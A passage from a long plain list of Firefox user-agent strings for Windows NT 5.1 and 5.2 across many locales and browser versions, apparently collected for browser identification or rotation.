rv:1.7.9) Gecko/20050711 Firefox/1.0.5 (ax) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040614 Firefox/0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040707 Firefox/0.9.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10pre) Gecko/20070211 Firefox/1.5.0.10pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060309 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060406 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060419 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.9.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17pre) Gecko/20080715 Firefox/2.0.0.8pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 Firefox/1.1.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070118 Firefox/2.0.0.2pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060707 Firefox/2.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050729 Firefox/1.0+ -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060319 Firefox/2.0a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2008121605 Firefox/3.0.6pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2009011606 Firefox/3.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.11 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 AskTbPLTV5/3.8.0.12304 Firefox/3.5.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20120427 Firefox/15.0a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB6 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 MRA 5.5 (build 02842) Firefox/3.5.7 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090213 Firefox/3.0.1b3pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090401 Firefox/3.5b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090409 Firefox/3.5b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b5pre) Gecko/20090517 Firefox/3.5b4pre (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.20) Gecko/20110803 AskTbFWV5/3.13.0.17701 Firefox/3.6.20 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/5.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.0.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20051220 Firefox/1.6a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060121 Firefox/1.6a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060323 Firefox/1.6a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b1) Gecko/2007110703 Firefox/3.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b4pre) Gecko/2008020708 Firefox/3.0b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008030706 Firefox/3.0b5pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:2.0.1) Gecko/20110606 Firefox/4.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8) Gecko/20060321 Firefox/2.0a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fa; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-be; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7) Gecko/20040707 Firefox/0.9.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7) Gecko/20040803 Firefox/0.9.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 (.NET CLR 3.0.04506.30) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.3C -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.9a1) Gecko/20100202 Firefox/3.0.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.28) Gecko/20120306 AskTbSTC-SRS/3.13.1.18132 Firefox/3.6.28 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 GTB7.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB7.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2.25) Gecko/20111212 Firefox/3.6.25 (.NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060918 Firefox/2.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ro-RO; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.12) Gecko/20100824 MRA 5.7 (build 03755) Firefox/3.5.12 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.7 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:15.0) Gecko/20121011 Firefox/15.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040911 Firefox/0.10.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100503 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.7.5) Gecko/20041119 Firefox/1.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; da; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 -Mozilla/5.0 (Windows; 